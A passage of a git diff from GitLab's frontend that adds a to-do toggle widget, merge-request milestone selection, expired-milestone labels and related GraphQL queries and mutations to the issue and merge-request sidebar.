- return value === IssuableType.Issue;
+ return [IssuableType.Issue, IssuableType.MergeRequest].includes(value);
},
},
+ icon: {
+ type: String,
+ required: false,
+ default: undefined,
+ },
},
apollo: {
currentAttribute: {
@@ -117,7 +125,9 @@ export default {
return {
fullPath: this.attrWorkspacePath,
title: this.searchTerm,
+ in: this.searchTerm && this.issuableAttribute === IssuableType.Epic ? 'TITLE' : undefined,
state: this.$options.IssuableAttributeState[this.issuableAttribute],
+ sort: this.issuableAttribute === IssuableType.Epic ? defaultEpicSort : null,
};
},
update(data) {
@@ -140,8 +150,8 @@ export default {
currentAttribute: null,
attributesList: [],
tracking: {
- label: 'right_sidebar',
- event: 'click_edit_button',
+ event: Tracking.editEvent,
+ label: Tracking.rightSidebarLabel,
property: this.issuableAttribute,
},
};
@@ -170,6 +180,9 @@ export default {
attributeTypeTitle() {
return this.$options.i18n[this.issuableAttribute];
},
+ attributeTypeIcon() {
+ return this.icon || this.issuableAttribute;
+ },
i18n() {
return {
noAttribute: sprintf(s__('DropdownWidget|No %{issuableAttribute}'), {
@@ -222,7 +235,8 @@ export default {
variables: {
fullPath: this.workspacePath,
attributeId:
- this.issuableAttribute === IssuableAttributeType.Milestone
+ this.issuableAttribute === IssuableAttributeType.Milestone &&
+ this.issuableType === IssuableType.Issue
? getIdFromGraphQLId(attributeId)
: attributeId,
iid: this.iid,
@@ -253,6 +267,11 @@ export default {
attributeId === this.currentAttribute?.id || (!this.currentAttribute?.id && !attributeId)
);
},
+ isAttributeOverdue(attribute) {
+ return this.issuableAttribute === IssuableAttributeType.Milestone
+ ? attribute?.expired
+ : false;
+ },
showDropdown() {
this.$refs.newDropdown.show();
},
@@ -282,8 +301,10 @@ export default {
>
<template #collapsed>
<div v-if="isClassicSidebar" v-gl-tooltip class="sidebar-collapsed-icon">
- <gl-icon :size="16" :aria-label="attributeTypeTitle" :name="issuableAttribute" />
- <span class="collapse-truncated-title">{{ attributeTitle }}</span>
+ <gl-icon :size="16" :aria-label="attributeTypeTitle" :name="attributeTypeIcon" />
+ <span class="collapse-truncated-title">
+ {{ attributeTitle }}
+ </span>
</div>
<div
:data-testid="`select-${issuableAttribute}`"
@@ -300,8 +321,13 @@ export default {
:attributeUrl="attributeUrl"
:currentAttribute="currentAttribute"
>
- <gl-link class="gl-text-gray-900! gl-font-weight-bold" :href="attributeUrl">
+ <gl-link
+ class="gl-text-gray-900! gl-font-weight-bold"
+ :href="attributeUrl"
+ :data-qa-selector="`${issuableAttribute}_link`"
+ >
{{ attributeTitle }}
+ <span v-if="isAttributeOverdue(currentAttribute)">{{ $options.i18n.expired }}</span>
</gl-link>
</slot>
</div>
@@ -328,6 +354,7 @@ export default {
<gl-dropdown-divider />
<gl-loading-icon
v-if="$apollo.queries.attributesList.loading"
+ size="sm"
class="gl-py-4"
data-testid="loading-icon-dropdown"
/>
@@ -351,6 +378,7 @@ export default {
@click="updateAttribute(attrItem.id)"
>
{{ attrItem.title }}
+ <span v-if="isAttributeOverdue(attrItem)">{{ $options.i18n.expired }}</span>
</gl-dropdown-item>
</slot>
</template>
diff --git a/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue b/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue
index 825d7ff5841..7c496cc422a 100644
--- a/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue
+++ b/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue
@@ -117,9 +117,15 @@ export default {
{{ title }}
</span>
<slot name="title-extra"></slot>
- <gl-loading-icon v-if="loading || initialLoading" inline class="gl-ml-2 hide-collapsed" />
+ <gl-loading-icon
+ v-if="loading || initialLoading"
+ size="sm"
+ inline
+ class="gl-ml-2 hide-collapsed"
+ />
<gl-loading-icon
v-if="loading && isClassicSidebar"
+ size="sm"
inline
class="gl-mx-auto gl-my-0 hide-expanded"
/>
diff --git a/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue b/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue
index e97742a1339..bc7e377a966 100644
--- a/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue
+++ b/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue
@@ -2,17 +2,18 @@
import { GlIcon, GlLoadingIcon, GlToggle, GlTooltipDirective } from '@gitlab/ui';
import createFlash from '~/flash';
import { IssuableType } from '~/issue_show/constants';
+import { isLoggedIn } from '~/lib/utils/common_utils';
import { __, sprintf } from '~/locale';
import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
-import { subscribedQueries } from '~/sidebar/constants';
+import { subscribedQueries, Tracking } from '~/sidebar/constants';
const ICON_ON = 'notifications';
const ICON_OFF = 'notifications-off';
export default {
tracking: {
- event: 'click_edit_button',
- label: 'right_sidebar',
+ event: Tracking.editEvent,
+ label: Tracking.rightSidebarLabel,
property: 'subscriptions',
},
directives: {
@@ -102,7 +103,7 @@ export default {
});
},
isLoggedIn() {
- return Boolean(gon.current_user_id);
+ return isLoggedIn();
},
canSubscribe() {
return this.emailsDisabled || !this.isLoggedIn;
@@ -195,7 +196,7 @@ export default {
class="sidebar-collapsed-icon"
@click="toggleSubscribed"
>
- <gl-loading-icon v-if="isLoading" class="sidebar-item-icon is-active" />
+ <gl-loading-icon v-if="isLoading" size="sm" class="sidebar-item-icon is-active" />
<gl-icon v-else :name="notificationIcon" :size="16" class="sidebar-item-icon is-active" />
</span>
<div v-show="emailsDisabled" class="gl-mt-3 hide-collapsed gl-text-gray-500">
diff --git a/app/assets/javascripts/sidebar/components/time_tracking/report.vue b/app/assets/javascripts/sidebar/components/time_tracking/report.vue
index f91a78b7f1d..8a14998910b 100644
--- a/app/assets/javascripts/sidebar/components/time_tracking/report.vue
+++ b/app/assets/javascripts/sidebar/components/time_tracking/report.vue
@@ -1,6 +1,7 @@
<script>
import { GlLoadingIcon, GlTable } from '@gitlab/ui';
import createFlash from '~/flash';
+import { TYPE_ISSUE, TYPE_MERGE_REQUEST } from '~/graphql_shared/constants';
import { convertToGraphQLId } from '~/graphql_shared/utils';
import { formatDate, parseSeconds, stringifyTime } from '~/lib/utils/datetime_utility';
import { __ } from '~/locale';
@@ -52,8 +53,7 @@ export default {
return this.issuableType === 'issue';
},
getGraphQLEntityType() {
- // eslint-disable-next-line @gitlab/require-i18n-strings
- return this.isIssue() ? 'Issue' : 'MergeRequest';
+ return this.isIssue() ? TYPE_ISSUE : TYPE_MERGE_REQUEST;
},
extractTimelogs(data) {
const timelogs = data?.issuable?.timelogs?.nodes || [];
diff --git a/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue b/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
index 87ddbbf256a..9a9d03353dc 100644
--- a/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
+++ b/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
@@ -200,7 +200,7 @@ export default {
/>
<div class="hide-collapsed gl-line-height-20 gl-text-gray-900">
{{ __('Time tracking') }}
- <gl-loading-icon v-if="isTimeTrackingInfoLoading" inline />
+ <gl-loading-icon v-if="isTimeTrackingInfoLoading" size="sm" inline />
<div
v-if="!showHelpState"
data-testid="helpButton"
diff --git a/app/assets/javascripts/sidebar/components/todo_toggle/sidebar_todo_widget.vue b/app/assets/javascripts/sidebar/components/todo_toggle/sidebar_todo_widget.vue
new file mode 100644
index 00000000000..a9c4203af22
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/todo_toggle/sidebar_todo_widget.vue
@@ -0,0 +1,195 @@
+<script>
+import { GlButton, GlIcon, GlTooltipDirective } from '@gitlab/ui';
+import { produce } from 'immer';
+import createFlash from '~/flash';
+import { __, sprintf } from '~/locale';
+import { todoQueries, TodoMutationTypes, todoMutations } from '~/sidebar/constants';
+import { todoLabel } from '~/vue_shared/components/sidebar/todo_toggle//utils';
+import TodoButton from '~/vue_shared/components/sidebar/todo_toggle/todo_button.vue';
+
+export default {
+ components: {
+ GlButton,
+ GlIcon,
+ TodoButton,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ inject: {
+ isClassicSidebar: {
+ default: false,
+ },
+ },
+ props: {
+ issuableId: {
+ type: String,
+ required: true,
+ },
+ issuableIid: {
+ type: String,
+ required: true,
+ },
+ fullPath: {
+ type: String,
+ required: true,
+ },
+ issuableType: {
+ required: true,
+ type: String,
+ },
+ },
+ data() {
+ return {
+ loading: false,
+ };
+ },
+ apollo: {
+ todoId: {
+ query() {
+ return todoQueries[this.issuableType].query;
+ },
+ variables() {
+ return {
+ fullPath: this.fullPath,
+ iid: String(this.issuableIid),
+ };
+ },
+ update(data) {
+ return data.workspace?.issuable?.currentUserTodos.nodes[0]?.id;
+ },
+ result({ data }) {
+ const currentUserTodos = data.workspace?.issuable?.currentUserTodos?.nodes ?? [];
+ this.todoId = currentUserTodos[0]?.id;
+ this.$emit('todoUpdated', currentUserTodos.length > 0);
+ },
+ error() {
+ createFlash({
+ message: sprintf(__('Something went wrong while setting %{issuableType} to-do item.'), {
+ issuableType: this.issuableType,
+ }),
+ });
+ },
+ },
+ },
+ computed: {
+ todoIdQuery() {
+ return todoQueries[this.issuableType].query;
+ },
+ todoIdQueryVariables() {
+ return {
+ fullPath: this.fullPath,
+ iid: String(this.issuableIid),
+ };
+ },
+ isLoading() {
+ return this.$apollo.queries?.todoId?.loading || this.loading;
+ },
+ hasTodo() {
+ return Boolean(this.todoId);
+ },
+ todoMutationType() {
+ if (this.hasTodo) {
+ return TodoMutationTypes.MarkDone;
+ }
+ return TodoMutationTypes.Create;
+ },
+ collapsedButtonIcon() {
+ return this.hasTodo ? 'todo-done' : 'todo-add';
+ },
+ tootltipTitle() {
+ return todoLabel(this.hasTodo);
+ },
+ },
+ methods: {
+ toggleTodo() {
+ this.loading = true;
+ this.$apollo
+ .mutate({
+ mutation: todoMutations[this.todoMutationType],
+ variables: {
+ input: {
+ targetId: !this.hasTodo ? this.issuableId : undefined,
+ id: this.hasTodo ? this.todoId : undefined,
+ },
+ },
+ update: (
+ store,
+ {
+ data: {
+ todoMutation: { todo },
+ },
+ },
+ ) => {
+ const queryProps = {
+ query: this.todoIdQuery,
+ variables: this.todoIdQueryVariables,
+ };
+
+ const sourceData = store.readQuery(queryProps);
+ const data = produce(sourceData, (draftState) => {
+ draftState.workspace.issuable.currentUserTodos.nodes = this.hasTodo ? [] : [todo];
+ });
+ store.writeQuery({
+ data,
+ ...queryProps,
+ });
+ },
+ })
+ .then(
+ ({
+ data: {
+ todoMutation: { errors },
+ },
+ }) => {
+ if (errors.length) {
+ createFlash({
+ message: errors[0],
+ });
+ }
+ },
+ )
+ .catch(() => {
+ createFlash({
+ message: sprintf(__('Something went wrong while setting %{issuableType} to-do item.'), {
+ issuableType: this.issuableType,
+ }),
+ });
+ })
+ .finally(() => {
+ this.loading = false;
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div data-testid="sidebar-todo">
+ <todo-button
+ :issuable-type="issuableType"
+ :issuable-id="issuableId"
+ :is-todo="hasTodo"
+ :loading="isLoading"
+ size="small"
+ class="hide-collapsed"
+ @click.stop.prevent="toggleTodo"
+ />
+ <gl-button
+ v-if="isClassicSidebar"
+ category="tertiary"
+ type="reset"
+ class="sidebar-collapsed-icon sidebar-collapsed-container gl-rounded-0! gl-shadow-none!"
+ @click.stop.prevent="toggleTodo"
+ >
+ <gl-icon
+ v-gl-tooltip.left.viewport
+ :title="tootltipTitle"
+ :size="16"
+ :class="{ 'todo-undone': hasTodo }"
+ :name="collapsedButtonIcon"
+ :aria-label="collapsedButtonIcon"
+ />
+ </gl-button>
+ </div>
+</template>
diff --git a/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue b/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue
index f589e7555b3..f7e76cc2b7f 100644
--- a/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue
+++ b/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue
@@ -85,6 +85,6 @@ export default {
:name="collapsedButtonIcon"
/>
<span v-show="!collapsed" class="issuable-todo-inner">{{ buttonLabel }}</span>
- <gl-loading-icon v-show="isActionActive" :inline="true" />
+ <gl-loading-icon v-show="isActionActive" size="sm" :inline="true" />
</button>
</template>
diff --git a/app/assets/javascripts/sidebar/constants.js b/app/assets/javascripts/sidebar/constants.js
index e8e69c19d9f..08ee4379c0c 100644
--- a/app/assets/javascripts/sidebar/constants.js
+++ b/app/assets/javascripts/sidebar/constants.js
@@ -1,18 +1,26 @@
import { IssuableType } from '~/issue_show/constants';
+import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
import epicConfidentialQuery from '~/sidebar/queries/epic_confidential.query.graphql';
import epicDueDateQuery from '~/sidebar/queries/epic_due_date.query.graphql';
import epicParticipantsQuery from '~/sidebar/queries/epic_participants.query.graphql';
+import epicReferenceQuery from '~/sidebar/queries/epic_reference.query.graphql';
import epicStartDateQuery from '~/sidebar/queries/epic_start_date.query.graphql';
import epicSubscribedQuery from '~/sidebar/queries/epic_subscribed.query.graphql';
+import epicTodoQuery from '~/sidebar/queries/epic_todo.query.graphql';
import issuableAssigneesSubscription from '~/sidebar/queries/issuable_assignees.subscription.graphql';
import issueConfidentialQuery from '~/sidebar/queries/issue_confidential.query.graphql';
import issueDueDateQuery from '~/sidebar/queries/issue_due_date.query.graphql';
import issueReferenceQuery from '~/sidebar/queries/issue_reference.query.graphql';
import issueSubscribedQuery from '~/sidebar/queries/issue_subscribed.query.graphql';
import issueTimeTrackingQuery from '~/sidebar/queries/issue_time_tracking.query.graphql';
+import issueTodoQuery from '~/sidebar/queries/issue_todo.query.graphql';
+import mergeRequestMilestone from '~/sidebar/queries/merge_request_milestone.query.graphql';
import mergeRequestReferenceQuery from '~/sidebar/queries/merge_request_reference.query.graphql';
import mergeRequestSubscribed from '~/sidebar/queries/merge_request_subscribed.query.graphql';
import mergeRequestTimeTrackingQuery from '~/sidebar/queries/merge_request_time_tracking.query.graphql';
+import mergeRequestTodoQuery from '~/sidebar/queries/merge_request_todo.query.graphql';
+import todoCreateMutation from '~/sidebar/queries/todo_create.mutation.graphql';
+import todoMarkDoneMutation from '~/sidebar/queries/todo_mark_done.mutation.graphql';
import updateEpicConfidentialMutation from '~/sidebar/queries/update_epic_confidential.mutation.graphql';
import updateEpicDueDateMutation from '~/sidebar/queries/update_epic_due_date.mutation.graphql';
import updateEpicStartDateMutation from '~/sidebar/queries/update_epic_start_date.mutation.graphql';
@@ -20,6 +28,7 @@ import updateEpicSubscriptionMutation from '~/sidebar/queries/update_epic_subscr
import updateIssueConfidentialMutation from '~/sidebar/queries/update_issue_confidential.mutation.graphql';
import updateIssueDueDateMutation from '~/sidebar/queries/update_issue_due_date.mutation.graphql';
import updateIssueSubscriptionMutation from '~/sidebar/queries/update_issue_subscription.mutation.graphql';
+import mergeRequestMilestoneMutation from '~/sidebar/queries/update_merge_request_milestone.mutation.graphql';
import updateMergeRequestSubscriptionMutation from '~/sidebar/queries/update_merge_request_subscription.mutation.graphql';
import updateAlertAssigneesMutation from '~/vue_shared/alert_details/graphql/mutations/alert_set_assignees.mutation.graphql';
import getAlertAssignees from '~/vue_shared/components/sidebar/queries/get_alert_assignees.query.graphql';
@@ -35,7 +44,9 @@ import projectIssueMilestoneMutation from './queries/project_issue_milestone.mut
import projectIssueMilestoneQuery from './queries/project_issue_milestone.query.graphql';
import projectMilestonesQuery from './queries/project_milestones.query.graphql';
-export const ASSIGNEES_DEBOUNCE_DELAY = 250;
+export const ASSIGNEES_DEBOUNCE_DELAY = DEFAULT_DEBOUNCE_AND_THROTTLE_MS;
+
+export const defaultEpicSort = 'TITLE_ASC';
export const assigneesQueries = {
[IssuableType.Issue]: {
@@ -87,6 +98,9 @@ export const referenceQueries = {
[IssuableType.MergeRequest]: {
query: mergeRequestReferenceQuery,
},
+ [IssuableType.Epic]: {
+ query: epicReferenceQuery,
+ },
};
export const dateTypes = {
@@ -122,6 +136,11 @@ export const subscribedQueries = {
},
};
+export const Tracking = {
+ editEvent: 'click_edit_button',
+ rightSidebarLabel: 'right_sidebar',
+};
+
export const timeTrackingQueries = {
[IssuableType.Issue]: {
query: issueTimeTrackingQuery,
@@ -165,12 +184,19 @@ export const issuableMilestoneQueries = {
query: projectIssueMilestoneQuery,
mutation: projectIssueMilestoneMutation,
},
+ [IssuableType.MergeRequest]: {
+ query: mergeRequestMilestone,
+ mutation: mergeRequestMilestoneMutation,
+ },
};
export const milestonesQueries = {
[IssuableType.Issue]: {
query: projectMilestonesQuery,
},
+ [IssuableType.MergeRequest]: {
+ query: projectMilestonesQuery,
+ },
};
export const IssuableAttributeType = {
@@ -187,3 +213,25 @@ export const issuableAttributesQueries = {
list: milestonesQueries,
},
};
+
+export const todoQueries = {
+ [IssuableType.Epic]: {
+ query: epicTodoQuery,
+ },
+ [IssuableType.Issue]: {
+ query: issueTodoQuery,
+ },
+ [IssuableType.MergeRequest]: {
+ query: mergeRequestTodoQuery,
+ },
+};
+
+export const TodoMutationTypes = {
+ Create: 'create',
+ MarkDone: 'mark-done',
+};
+
+export const todoMutations = {
+ [TodoMutationTypes.Create]: todoCreateMutation,
+ [TodoMutationTypes.MarkDone]: todoMarkDoneMutation,
+};
diff --git a/app/assets/javascripts/sidebar/lib/sidebar_move_issue.js b/app/assets/javascripts/sidebar/lib/sidebar_move_issue.js
index 21cd24b0842..5a3122e83d0 100644
--- a/app/assets/javascripts/sidebar/lib/sidebar_move_issue.js
+++ b/app/assets/javascripts/sidebar/lib/sidebar_move_issue.js
@@ -1,6 +1,7 @@
import $ from 'jquery';
import { escape } from 'lodash';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
+import createFlash from '~/flash';
import { __ } from '~/locale';
function isValidProjectId(id) {
@@ -42,8 +43,10 @@ class SidebarMoveIssue {
this.mediator
.fetchAutocompleteProjects(searchTerm)
.then(callback)
- .catch(
- () => new window.Flash(__('An error occurred while fetching projects autocomplete.')),
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while fetching projects autocomplete.'),
+ }),
);
},
renderRow: (project) => `
@@ -76,7 +79,7 @@ class SidebarMoveIssue {
this.$confirmButton.disable().addClass('is-loading');
this.mediator.moveIssue().catch(() => {
- window.Flash(__('An error occurred while moving the issue.'));
+ createFlash({ message: __('An error occurred while moving the issue.') });
this.$confirmButton.enable().removeClass('is-loading');
});
}
diff --git a/app/assets/javascripts/sidebar/mount_sidebar.js b/app/assets/javascripts/sidebar/mount_sidebar.js
index 67c72b17f1f..dd1b439c482 100644
--- a/app/assets/javascripts/sidebar/mount_sidebar.js
+++ b/app/assets/javascripts/sidebar/mount_sidebar.js
@@ -2,6 +2,8 @@ import $ from 'jquery';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createFlash from '~/flash';
+import { TYPE_ISSUE, TYPE_MERGE_REQUEST } from '~/graphql_shared/constants';
+import { convertToGraphQLId } from '~/graphql_shared/utils';
import initInviteMembersModal from '~/invite_members/init_invite_members_modal';
import initInviteMembersTrigger from '~/invite_members/init_invite_members_trigger';
import { IssuableType } from '~/issue_show/constants';
@@ -18,6 +20,8 @@ import SidebarConfidentialityWidget from '~/sidebar/components/confidential/side
import SidebarDueDateWidget from '~/sidebar/components/date/sidebar_date_widget.vue';
import SidebarParticipantsWidget from '~/sidebar/components/participants/sidebar_participants_widget.vue';
import SidebarReferenceWidget from '~/sidebar/components/reference/sidebar_reference_widget.vue';
+import SidebarDropdownWidget from '~/sidebar/components/sidebar_dropdown_widget.vue';
+import SidebarTodoWidget from '~/sidebar/components/todo_toggle/sidebar_todo_widget.vue';
import { apolloProvider } from '~/sidebar/graphql';
import trackShowInviteMemberLink from '~/sidebar/track_invite_members';
import Translate from '../vue_shared/translate';
@@ -29,6 +33,7 @@ import SidebarReviewers from './components/reviewers/sidebar_reviewers.vue';
import SidebarSeverity from './components/severity/sidebar_severity.vue';
import SidebarSubscriptionsWidget from './components/subscriptions/sidebar_subscriptions_widget.vue';
import SidebarTimeTracking from './components/time_tracking/sidebar_time_tracking.vue';
+import { IssuableAttributeType } from './constants';
import SidebarMoveIssue from './lib/sidebar_move_issue';
Vue.use(Translate);
@@ -38,6 +43,40 @@ function getSidebarOptions(sidebarOptEl = document.querySelector('.js-sidebar-op
return JSON.parse(sidebarOptEl.innerHTML);
}
+function mountSidebarToDoWidget() {
+ const el = document.querySelector('.js-issuable-todo');
+
+ if (!el) {
+ return false;
+ }
+
+ const { projectPath, iid, id } = el.dataset;
+
+ return new Vue({
+ el,
+ apolloProvider,
+ components: {
+ SidebarTodoWidget,
+ },
+ provide: {
+ isClassicSidebar: true,
+ },
+ render: (createElement) =>
+ createElement('sidebar-todo-widget', {
+ props: {
+ fullPath: projectPath,
+ issuableId:
+ isInIssuePage() || isInDesignPage()
+ ? convertToGraphQLId(TYPE_ISSUE, id)
+ : convertToGraphQLId(TYPE_MERGE_REQUEST, id),
+ issuableIid: iid,
+ issuableType:
+ isInIssuePage() || isInDesignPage() ? IssuableType.Issue : IssuableType.MergeRequest,
+ },
+ }),
+ });
+}
+
function getSidebarAssigneeAvailabilityData() {
const sidebarAssigneeEl = document.querySelectorAll('.js-sidebar-assignee-data input');
return Array.from(sidebarAssigneeEl)
@@ -154,7 +193,8 @@ function mountReviewersComponent(mediator) {
issuableIid: String(iid),
projectPath: fullPath,
field: el.dataset.field,
- issuableType: isInIssuePage() || isInDesignPage() ? 'issue' : 'merge_request',
+ issuableType:
+ isInIssuePage() || isInDesignPage() ? IssuableType.Issue : IssuableType.MergeRequest,
},
}),
});
@@ -166,6 +206,40 @@ function mountReviewersComponent(mediator) {
}
}
+function mountMilestoneSelect() {
+ const el = document.querySelector('.js-milestone-select');
+
+ if (!el) {
+ return false;
+ }
+
+ const { canEdit, projectPath, issueIid } = el.dataset;
+
+ return new Vue({
+ el,
+ apolloProvider,
+ components: {
+ SidebarDropdownWidget,
+ },
+ provide: {
+ canUpdate: parseBoolean(canEdit),
+ isClassicSidebar: true,
+ },
+ render: (createElement) =>
+ createElement('sidebar-dropdown-widget', {
+ props: {
+ attrWorkspacePath: projectPath,
+ workspacePath: projectPath,
+ iid: issueIid,
+ issuableType:
+ isInIssuePage() || isInDesignPage() ? IssuableType.Issue : IssuableType.MergeRequest,
+ issuableAttribute: IssuableAttributeType.Milestone,
+ icon: 'clock',
+ },
+ }),
+ });
+}
+
export function mountSidebarLabels() {
const el = document.querySelector('.js-sidebar-labels');
@@ -460,12 +534,14 @@ export function mountSidebar(mediator) {
initInviteMembersModal();
initInviteMembersTrigger();
+ mountSidebarToDoWidget();
if (isAssigneesWidgetShown) {
mountAssigneesComponent();
} else {
mountAssigneesComponentDeprecated(mediator);
}
mountReviewersComponent(mediator);
+ mountMilestoneSelect();
mountConfidentialComponent(mediator);
mountDueDateComponent(mediator);
mountReferenceComponent(mediator);
diff --git a/app/assets/javascripts/sidebar/queries/epic_reference.query.graphql b/app/assets/javascripts/sidebar/queries/epic_reference.query.graphql
new file mode 100644
index 00000000000..bd10f09aed8
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/epic_reference.query.graphql
@@ -0,0 +1,10 @@
+query epicReference($fullPath: ID!, $iid: ID) {
+ workspace: group(fullPath: $fullPath) {
+ __typename
+ issuable: epic(iid: $iid) {
+ __typename
+ id
+ reference(full: true)
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/epic_todo.query.graphql b/app/assets/javascripts/sidebar/queries/epic_todo.query.graphql
new file mode 100644
index 00000000000..1e6f9bad5b2
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/epic_todo.query.graphql
@@ -0,0 +1,14 @@
+query epicTodos($fullPath: ID!, $iid: ID) {
+ workspace: group(fullPath: $fullPath) {
+ __typename
+ issuable: epic(iid: $iid) {
+ __typename
+ id
+ currentUserTodos(state: pending) {
+ nodes {
+ id
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/issue_todo.query.graphql b/app/assets/javascripts/sidebar/queries/issue_todo.query.graphql
new file mode 100644
index 00000000000..783d36352fe
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/issue_todo.query.graphql
@@ -0,0 +1,14 @@
+query issueTodos($fullPath: ID!, $iid: String!) {
+ workspace: project(fullPath: $fullPath) {
+ __typename
+ issuable: issue(iid: $iid) {
+ __typename
+ id
+ currentUserTodos(state: pending) {
+ nodes {
+ id
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/merge_request_milestone.query.graphql b/app/assets/javascripts/sidebar/queries/merge_request_milestone.query.graphql
new file mode 100644
index 00000000000..5c0edf5acee
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/merge_request_milestone.query.graphql
@@ -0,0 +1,14 @@
+#import "./milestone.fragment.graphql"
+
+query mergeRequestMilestone($fullPath: ID!, $iid: String!) {
+ workspace: project(fullPath: $fullPath) {
+ __typename
+ issuable: mergeRequest(iid: $iid) {
+ __typename
+ id
+ attribute: milestone {
+ ...MilestoneFragment
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/merge_request_todo.query.graphql b/app/assets/javascripts/sidebar/queries/merge_request_todo.query.graphql
new file mode 100644
index 00000000000..93a1c9ea925
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/merge_request_todo.query.graphql
@@ -0,0 +1,14 @@
+query mergeRequestTodos($fullPath: ID!, $iid: String!) {
+ workspace: project(fullPath: $fullPath) {
+ __typename
+ issuable: mergeRequest(iid: $iid) {
+ __typename
+ id
+ currentUserTodos(state: pending) {
+ nodes {
+ id
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/milestone.fragment.graphql b/app/assets/javascripts/sidebar/queries/milestone.fragment.graphql
index 8db5359dac0..2ffd58a2da1 100644
--- a/app/assets/javascripts/sidebar/queries/milestone.fragment.graphql
+++ b/app/assets/javascripts/sidebar/queries/milestone.fragment.graphql
@@ -2,4 +2,5 @@ fragment MilestoneFragment on Milestone {
id
title
webUrl: webPath
+ expired
}
diff --git a/app/assets/javascripts/sidebar/queries/project_issue_milestone.mutation.graphql b/app/assets/javascripts/sidebar/queries/project_issue_milestone.mutation.graphql
index d88ad8b1087..721a71bef63 100644
--- a/app/assets/javascripts/sidebar/queries/project_issue_milestone.mutation.graphql
+++ b/app/assets/javascripts/sidebar/queries/project_issue_milestone.mutation.graphql
@@ -11,6 +11,7 @@ mutation projectIssueMilestoneMutation($fullPath: ID!, $iid: String!, $attribute
title
id
state
+ expired
}
}
}
diff --git a/app/assets/javascripts/sidebar/queries/project_milestones.query.graphql b/app/assets/javascripts/sidebar/queries/project_milestones.query.graphql
index 1237640c468..a3ab1ebc872 100644
--- a/app/assets/javascripts/sidebar/queries/project_milestones.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/project_milestones.query.graphql
@@ -3,7 +3,13 @@
query projectMilestones($fullPath: ID!, $title: String, $state: MilestoneStateEnum) {
workspace: project(fullPath: $fullPath) {
__typename
- attributes: milestones(searchTitle: $title, state: $state) {
+ attributes: milestones(
+ searchTitle: $title
+ state: $state
+ sort: EXPIRED_LAST_DUE_DATE_ASC
+ first: 20
+ includeAncestors: true
+ ) {
nodes {
...MilestoneFragment
state
diff --git a/app/assets/javascripts/sidebar/queries/todo_create.mutation.graphql b/app/assets/javascripts/sidebar/queries/todo_create.mutation.graphql
new file mode 100644
index 00000000000..4675db9153e
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/todo_create.mutation.graphql
@@ -0,0 +1,9 @@
+mutation issuableTodoCreate($input: TodoCreateInput!) {
+ todoMutation: todoCreate(input: $input) {
+ __typename
+ todo {
+ id
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/todo_mark_done.mutation.graphql b/app/assets/javascripts/sidebar/queries/todo_mark_done.mutation.graphql
new file mode 100644
index 00000000000..8253e5e82bc
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/todo_mark_done.mutation.graphql
@@ -0,0 +1,9 @@
+mutation issuableTodoMarkDone($input: TodoMarkDoneInput!) {
+ todoMutation: todoMarkDone(input: $input) {
+ __typename
+ todo {
+ id
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/updateStatus.mutation.graphql b/app/assets/javascripts/sidebar/queries/updateStatus.mutation.graphql
index b45b6b46c8f..28a47735143 100644
--- a/app/assets/javascripts/sidebar/queries/updateStatus.mutation.graphql
+++ b/app/assets/javascripts/sidebar/queries/updateStatus.mutation.graphql
@@ -1,6 +1,7 @@
mutation($projectPath: ID!, $iid: String!, $healthStatus: HealthStatus) {
updateIssue(input: { projectPath: $projectPath, iid: $iid, healthStatus: $healthStatus }) {
- issue {
+ issuable: issue {
+ id
healthStatus
}
errors
diff --git a/app/assets/javascripts/sidebar/queries/update_merge_request_milestone.mutation.graphql b/app/assets/javascripts/sidebar/queries/update_merge_request_milestone.mutation.graphql
new file mode 100644
index 00000000000..368f06fac7f
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/update_merge_request_milestone.mutation.graphql
@@ -0,0 +1,17 @@
+mutation mergeRequestSetMilestone($fullPath: ID!, $iid: String!, $attributeId: ID) {
+ issuableSetAttribute: mergeRequestSetMilestone(
+ input: { projectPath: $fullPath, iid: $iid, milestoneId: $attributeId }
+ ) {
+ __typename
+ errors
+ issuable: mergeRequest {
+ __typename
+ id
+ attribute: milestone {
+ title
+ id
+ state
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/services/sidebar_service.js b/app/assets/javascripts/sidebar/services/sidebar_service.js
index 88501f2c305..ace2a163adc 100644
